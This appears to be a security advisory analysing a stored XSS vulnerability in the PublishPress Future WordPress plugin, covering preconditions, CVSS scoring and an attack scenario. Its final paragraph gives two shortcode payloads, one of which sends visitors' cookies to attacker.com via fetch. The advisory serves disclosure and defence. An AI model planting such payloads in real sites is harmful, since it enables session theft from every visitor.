PublishPress Future EUVD-2026-27191

Attacker must have authenticated administrator-level access to the WordPress site, or must be a contributor/author with explicit permissions to create or edit shortcodes and pages - a configuration administrators can enable. The [futureaction] shortcode must be used on at least one published page or post for the payload to execute. The vulnerability is not present in draft or unpublished content. No special site configuration or non-default settings are required beyond the plugin being active. The attack does not require user interaction (UI:N) beyond viewing the page. Exploitation is limited to WordPress sites running PublishPress Future version 4.10.0 or earlier.

CVSS 5.5 (Medium) with network vector and low complexity reflects the attack characteristics: remote delivery (AV:N), no special exploit conditions (AC:L), high privileges required (PR:H), no user interaction (UI:N), and cross-site scope (S:C) with limited confidentiality and integrity impact (C:L/I:L). However, this CVSS score understates practical risk in WordPress environments. The stored nature of the XSS means the payload persists in the database and executes for every user viewing the page, creating a site-wide attack surface once injected. The PR:H (high privileges, i.e., administrator) requirement is a significant limiting factor, yet WordPress administrators routinely grant contributor or author roles to untrusted users (freelancers, guest authors, team members), and the CVE explicitly notes administrators can delegate this shortcode functionality to lower-privilege users, effectively lowering the attack barrier. No KEV status, EPSS score, or public POC is provided in the input data, so real-world exploitation likelihood cannot be assessed from authoritative sources. The vulnerability is credible and exploitable but requires administrative account compromise or misuse of trust delegated to lower-privilege roles.

An administrator account is compromised via phishing or weak credentials, or a malicious contributor with delegated shortcode permissions is added to the WordPress site. The attacker creates or edits a page using the [futureaction wrapper='div onclick=alert(document.cookie)'] shortcode. When any user views the page, the injected JavaScript executes in their browser context, stealing session cookies or redirecting to a phishing site. Alternatively, the attacker crafts a payload like wrapper='img src=x onerror=fetch("//attacker.com/steal?cookie="+document.cookie)' to exfiltrate session data.